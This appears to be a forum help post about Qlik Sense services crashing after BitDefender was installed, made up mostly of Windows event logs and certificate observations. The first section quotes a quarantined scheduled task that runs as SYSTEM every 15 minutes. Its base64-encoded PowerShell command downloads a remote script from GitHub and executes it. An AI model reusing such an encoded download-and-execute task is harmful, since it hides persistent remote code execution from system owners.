1.
Of course the first thing I did was to check BitDefender scan logs, the only thing removed was a scheduled task, which is not related to QLIK :
C:\Windows\System32\Tasks\ScheduleTaskScripts
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\ScheduleTaskScripts</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT15M</Interval>
<Duration>P1D</Duration>
<StopAtDurationEnd>true</StopAtDurationEnd>
</Repetition>
<StartBoundary>2022-02-04T11:02:28Z</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-EncodedCommand PAAjAA0ACgAgACMAIABQAFIARQBSAEUAUQBVAEkAUwBJAFQARQBTAA0ACgAgACMAPgANAAoAIABbAE4ARQBUAC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAA0ACgAjAEUAeABlAGMAdQB0AGUAIABzAGMAcgBpAHAAdAAgAGYAcgBvAG0AIAByAGUAcABvAA0ACgAjAFQAaABpAHMAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGwAYQB1AG4AYwBoAGUAZAAgAGYAcgBvAG0AIAB0AGgAZQAgAFMAYwBoAGUAZAB1AGwAZQBkACAAdABhAHMAawA6ACAAaQBuAHMAdABhAGwAbABTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAC4AcABzADEAIABpAG4AIABlAG4AYwBvAGQAZQBkACAAYgBhAHMANgA0ACAAZgBvAHIAbQBhAHQADQAKAGYAdQBuAGMAdABpAG8AbgAgAGwAbwBnAGcAZQByACAAewANAAoAIAAgACAAIABQAGEAcgBhAG0AKAAkAHMAbwB1AHIAYwBlACwAIAAkAGEAYwB0AGkAbwBuACwAIAAkAHMAZQB2AGUAcgBpAHQAeQApACAAIAAgACAAIAAgACAAIAANAAoAfQANAAoAJABkAG8AdwBuAGwAbwBhAGQAdQByAGwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGUALQBuAG8AdgBpAG4AZgBvAC0AaQB0AC8AcwBjAGgAZQBkAHUAbABlAGQAdABhAHMAawBzAGMAcgBpAHAAdABzAC8AcgBhAHcALwBtAGEAaQBuAC8AcgBlAG0AbwB0AGUAbABhAHUAbgBjAGgAZQByAC4AcABzADEAIgANAAoAdAByAHkAewANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAGIAYQBzAGUAIAA9ACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgACQAZABvAHcAbgBsAG8AYQBkAHUAcgBsACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAC4AQwBvAG4AdABlAG4AdAANAAoAIAAgACAAIAAjAGwAbwBnAGcAZQByACAALQBzAG8AdQByAGMAZQAgACIAQgBBAFMARQAiACAALQBhAGMAdABpAG8AbgAgACIAUwBjAHIAaQBwAHQAIABDAG8AbgB0AGUAbgB0ACAAJABiAGEAcwBlACIADQAKACAAIAAgACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAALQBjAG8AbQBtAGEAbgBkACAAJABiAGEAcwBlAA0ACgAgACAAIAAgAGwAbwBnAGcAZQByACAALQBzAG8AdQByAGMAZQAgACIAcwBjAGgAZQBkAHUAbABlAGQAdABhAHMAawBzAGMAcgBpAHAAdABzAC8AbABhAHUAbgBjAGgAZQByAC4AcABzADEAIgAgAC0AYQBjAHQAaQBvAG4AIAAiAEUATgBEACAATwBGACAARQBYAEUAQwBVAFQASQBPAE4AIgAgAC0AUwBlAHYAZQByAGkAdAB5ACAAIgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AYQBsACIADQAKAH0AYwBhAHQAYwBoAHsADQAKACAAIAAgACAAVwByAGkAdABlAC0AVwBhAHIAbgBpAG4AZwAgACQAZQByAHIAbwByAFsAMABdAA0ACgAgACAAIAAgAGwAbwBnAGcAZQByACAALQBzAG8AdQByAGMAZQAgACIAQgBBAFMARQAgAEUAUgBSAE8AUgAgAEkATgBWAE8ASwBFACIAIAAtAGEAYwB0AGkAbwBuACAAKAAkAEUAcgByAG8AcgBbADAAXQApACAAIAAtAFMAZQB2AGUAcgBpAHQAeQAgACIASQBuAGYAbwByAG0AYQB0AGkAbwBuAGEAbAAiAA0ACgB9AA==</Arguments>
</Exec>
</Actions>
<Principals>
<Principal id="Author">
<UserId>NT Authority\SYSTEM</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
</Task>
2.
In the App category of the Event Viewer, I can see this after BitDefender install.
--------------------------------------------------------------------------------------------
Log Name: Application
Source: Qlik Sense Service Dispatcher
Date: 9/21/2023 10:01:20 PM
Event ID: 300
Task Category: None
Level: Warning
Keywords: Classic
User: N/A
Computer: ****** (masked)
Description:
The description for Event ID 300 from source Qlik Sense Service Dispatcher cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.
If the event originated on another computer, the display information had to be saved with the event.
The following information was included with the event:
Unexpected termination (0) for process 0
Facility = NL App Search
ExePath = ..\NLAppSearch\nl-app-search.exe
Script =
Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Qlik Sense Service Dispatcher" />
<EventID Qualifiers="0">300</EventID>
<Level>3</Level>
<Task>0</Task>
<Keywords>0x80000000000000</Keywords>
<TimeCreated SystemTime="2023-09-21T20:01:20.252908200Z" />
<EventRecordID>208515</EventRecordID>
<Channel>Application</Channel>
<Computer>****** (masked)</Computer>
<Security />
</System>
<EventData>
<Data>Unexpected termination (0) for process 0
Facility = NL App Search
ExePath = ..\NLAppSearch\nl-app-search.exe
Script = </Data>
</EventData>
</Event>
--------------------------------------------------------------------------------------------
Log Name: Application
Source: Qlik Sense Service Dispatcher
Date: 9/21/2023 10:28:26 PM
Event ID: 300
Task Category: None
Level: Warning
Keywords: Classic
User: N/A
Computer: ****** (masked)
Description:
The description for Event ID 300 from source Qlik Sense Service Dispatcher cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.
If the event originated on another computer, the display information had to be saved with the event.
The following information was included with the event:
Unexpected termination (0) for process 0
Facility = Resource Distribution
ExePath = Node\node.exe
Script = ..\ResourceDistributionService\server.js
Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Qlik Sense Service Dispatcher" />
<EventID Qualifiers="0">300</EventID>
<Level>3</Level>
<Task>0</Task>
<Keywords>0x80000000000000</Keywords>
<TimeCreated SystemTime="2023-09-21T20:28:26.135719600Z" />
<EventRecordID>208615</EventRecordID>
<Channel>Application</Channel>
<Computer>BK-APP01.Beka.local</Computer>
<Security />
</System>
<EventData>
<Data>Unexpected termination (0) for process 0
Facility = Resource Distribution
ExePath = Node\node.exe
Script = ..\ResourceDistributionService\server.js</Data>
</EventData>
</Event>
--------------------------------------------------------------------------------------------
Log Name: Application
Source: .NET Runtime
Date: 9/22/2023 10:00:23 PM
Event ID: 1025
Task Category: None
Level: Error
Keywords: Classic
User: N/A
Computer: ****** (masked)
Description:
Application: Repository.exe
Framework Version: v4.0.30319
Description: The application requested process termination through System.Environment.FailFast(string message).
Message: Unhandled exception: Value cannot be null.
Parameter name: source
System.ArgumentNullException: Value cannot be null.
Parameter name: source
at System.Linq.Enumerable.Where[TSource](IEnumerable`1 source, Func`2 predicate)
at Qlik.Sense.Communication.Security.Certificates.CertValidator.FindAllQlikCerts(CertType type)
at Qlik.Sense.Communication.Security.Certificates.CertContainer.FindCert()
at Qlik.Sense.Communication.Security.Certificates.CertContainer.get_Certificate()
at Qlik.Sense.Communication.Security.Certificates.CertContainer.get_IsValid()
at Qlik.Sense.Communication.Security.CertSetup.AreCertsCorrectlyInstalled(Boolean serviceClusterCertificateValidationEnabled)
at Repository.Core.Certificates.CertificatePasswordVerificationWebService.CheckCertStatusThread()
at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
at System.Threading.ThreadHelper.ThreadStart()
Stack:
at System.Environment.FailFast(System.String)
at Repository.QRSService.AppDomainUnhandledExceptionHandler(System.Object, System.UnhandledExceptionEventArgs)
at System.Linq.Enumerable.Where[[System.__Canon, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]](System.Collections.Generic.IEnumerable`1<System.__Canon>, System.Func`2<System.__Canon,Boolean>)
at Qlik.Sense.Communication.Security.Certificates.CertValidator.FindAllQlikCerts(Qlik.Sense.Communication.Security.Certificates.CertType)
at Qlik.Sense.Communication.Security.Certificates.CertContainer.FindCert()
at Qlik.Sense.Communication.Security.Certificates.CertContainer.get_Certificate()
at Qlik.Sense.Communication.Security.Certificates.CertContainer.get_IsValid()
at Qlik.Sense.Communication.Security.CertSetup.AreCertsCorrectlyInstalled(Boolean)
at Repository.Core.Certificates.CertificatePasswordVerificationWebService.CheckCertStatusThread()
at System.Threading.ExecutionContext.RunInternal(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object, Boolean)
at System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object, Boolean)
at System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object)
at System.Threading.ThreadHelper.ThreadStart()
Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name=".NET Runtime" />
<EventID Qualifiers="0">1025</EventID>
<Level>2</Level>
<Task>0</Task>
<Keywords>0x80000000000000</Keywords>
<TimeCreated SystemTime="2023-09-22T20:00:23.862184600Z" />
<EventRecordID>208806</EventRecordID>
<Channel>Application</Channel>
<Computer>****** (masked)</Computer>
<Security />
</System>
<EventData>
<Data>Application: Repository.exe
Framework Version: v4.0.30319
Description: The application requested process termination through System.Environment.FailFast(string message).
Message: Unhandled exception: Value cannot be null.
Parameter name: source
System.ArgumentNullException: Value cannot be null.
Parameter name: source
at System.Linq.Enumerable.Where[TSource](IEnumerable`1 source, Func`2 predicate)
at Qlik.Sense.Communication.Security.Certificates.CertValidator.FindAllQlikCerts(CertType type)
at Qlik.Sense.Communication.Security.Certificates.CertContainer.FindCert()
at Qlik.Sense.Communication.Security.Certificates.CertContainer.get_Certificate()
at Qlik.Sense.Communication.Security.Certificates.CertContainer.get_IsValid()
at Qlik.Sense.Communication.Security.CertSetup.AreCertsCorrectlyInstalled(Boolean serviceClusterCertificateValidationEnabled)
at Repository.Core.Certificates.CertificatePasswordVerificationWebService.CheckCertStatusThread()
at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
at System.Threading.ThreadHelper.ThreadStart()
Stack:
at System.Environment.FailFast(System.String)
at Repository.QRSService.AppDomainUnhandledExceptionHandler(System.Object, System.UnhandledExceptionEventArgs)
at System.Linq.Enumerable.Where[[System.__Canon, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]](System.Collections.Generic.IEnumerable`1<System.__Canon>, System.Func`2<System.__Canon,Boolean>)
at Qlik.Sense.Communication.Security.Certificates.CertValidator.FindAllQlikCerts(Qlik.Sense.Communication.Security.Certificates.CertType)
at Qlik.Sense.Communication.Security.Certificates.CertContainer.FindCert()
at Qlik.Sense.Communication.Security.Certificates.CertContainer.get_Certificate()
at Qlik.Sense.Communication.Security.Certificates.CertContainer.get_IsValid()
at Qlik.Sense.Communication.Security.CertSetup.AreCertsCorrectlyInstalled(Boolean)
at Repository.Core.Certificates.CertificatePasswordVerificationWebService.CheckCertStatusThread()
at System.Threading.ExecutionContext.RunInternal(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object, Boolean)
at System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object, Boolean)
at System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object)
at System.Threading.ThreadHelper.ThreadStart()
</Data>
</EventData>
</Event>
--------------------------------------------------------------------------------------------
Log Name: Application
Source: Application Error
Date: 9/22/2023 10:00:24 PM
Event ID: 1000
Task Category: (100)
Level: Error
Keywords: Classic
User: N/A
Computer: ****** (masked)
Description:
Faulting application name: Repository.exe, version: 31.11.0.0, time stamp: 0x62a75cec
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0x80131623
Fault offset: 0x00007ffecd0a2a45
Faulting process id: 0x5db0
Faulting application start time: 0x01d9ecc645d2f5ac
Faulting application path: C:\Program Files\Qlik\Sense\Repository\Repository.exe
Faulting module path: unknown
Report Id: f3c18cb1-d491-4c75-8153-0202d7543dac
Faulting package full name:
Faulting package-relative application ID:
Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Application Error" />
<EventID Qualifiers="0">1000</EventID>
<Level>2</Level>
<Task>100</Task>
<Keywords>0x80000000000000</Keywords>
<TimeCreated SystemTime="2023-09-22T20:00:24.445184900Z" />
<EventRecordID>208807</EventRecordID>
<Channel>Application</Channel>
<Computer>****** (masked)</Computer>
<Security />
</System>
<EventData>
<Data>Repository.exe</Data>
<Data>31.11.0.0</Data>
<Data>62a75cec</Data>
<Data>unknown</Data>
<Data>0.0.0.0</Data>
<Data>00000000</Data>
<Data>80131623</Data>
<Data>00007ffecd0a2a45</Data>
<Data>5db0</Data>
<Data>01d9ecc645d2f5ac</Data>
<Data>C:\Program Files\Qlik\Sense\Repository\Repository.exe</Data>
<Data>unknown</Data>
<Data>f3c18cb1-d491-4c75-8153-0202d7543dac</Data>
<Data>
</Data>
<Data>
</Data>
</EventData>
</Event>
--------------------------------------------------------------------------------------------
Log Name: Application
Source: Application Error
Date: 9/23/2023 10:00:14 PM
Event ID: 1000
Task Category: (100)
Level: Error
Keywords: Classic
User: N/A
Computer: BK-APP01.Beka.local
Description:
Faulting application name: ServiceDispatcher.exe, version: 15.7.0.0, time stamp: 0x62d020c3
Faulting module name: ServiceDispatcher.exe, version: 15.7.0.0, time stamp: 0x62d020c3
Exception code: 0xc0000005
Fault offset: 0x000000000001cbc5
Faulting process id: 0x1680
Faulting application start time: 0x01d9ed8f7ad3528f
Faulting application path: C:\Program Files\Qlik\Sense\ServiceDispatcher\ServiceDispatcher.exe
Faulting module path: C:\Program Files\Qlik\Sense\ServiceDispatcher\ServiceDispatcher.exe
Report Id: 9d1b274c-92fe-436d-a48c-84d7321cd326
Faulting package full name:
Faulting package-relative application ID:
Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Application Error" />
<EventID Qualifiers="0">1000</EventID>
<Level>2</Level>
<Task>100</Task>
<Keywords>0x80000000000000</Keywords>
<TimeCreated SystemTime="2023-09-23T20:00:14.623065200Z" />
<EventRecordID>209118</EventRecordID>
<Channel>Application</Channel>
<Computer>BK-APP01.Beka.local</Computer>
<Security />
</System>
<EventData>
<Data>ServiceDispatcher.exe</Data>
<Data>15.7.0.0</Data>
<Data>62d020c3</Data>
<Data>ServiceDispatcher.exe</Data>
<Data>15.7.0.0</Data>
<Data>62d020c3</Data>
<Data>c0000005</Data>
<Data>000000000001cbc5</Data>
<Data>1680</Data>
<Data>01d9ed8f7ad3528f</Data>
<Data>C:\Program Files\Qlik\Sense\ServiceDispatcher\ServiceDispatcher.exe</Data>
<Data>C:\Program Files\Qlik\Sense\ServiceDispatcher\ServiceDispatcher.exe</Data>
<Data>9d1b274c-92fe-436d-a48c-84d7321cd326</Data>
<Data>
</Data>
<Data>
</Data>
</EventData>
</Event>
--------------------------------------------------------------------------------------------
I checked all these files, no one is missing in QLIK folders.
3.
I also noticed that a 2nd and identical certificate has been generated (same thumbprint) in the "Trusted Root Certification Authorities", on the local machine certificate MMC and in the current user certificate MMC.
4.
A repair has been done by the local QLIK provider last week, but it didn't work. The only thing that worked was a full QLIK reinstall, that was when getting this problem for the first time. Now after a full QLIK re install and a BitDefender re install we still experience this issue for the 2nd time cause I was not sure that BitDefender was involved the first time.
The local QLIK provider is really hard to join, so I'm here trying to figure this BitDefender mess out.
Thanks Geo
